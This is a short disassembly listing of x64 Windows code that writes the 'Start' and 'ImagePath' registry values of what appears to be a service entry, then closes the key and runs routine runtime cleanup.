mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400098fa
mov eax, dword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x1400098c3
mov rsi, qword [rsi]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400098fa
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete dil
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140009938
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009933
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b3484
mov al, dil
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400b3420
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret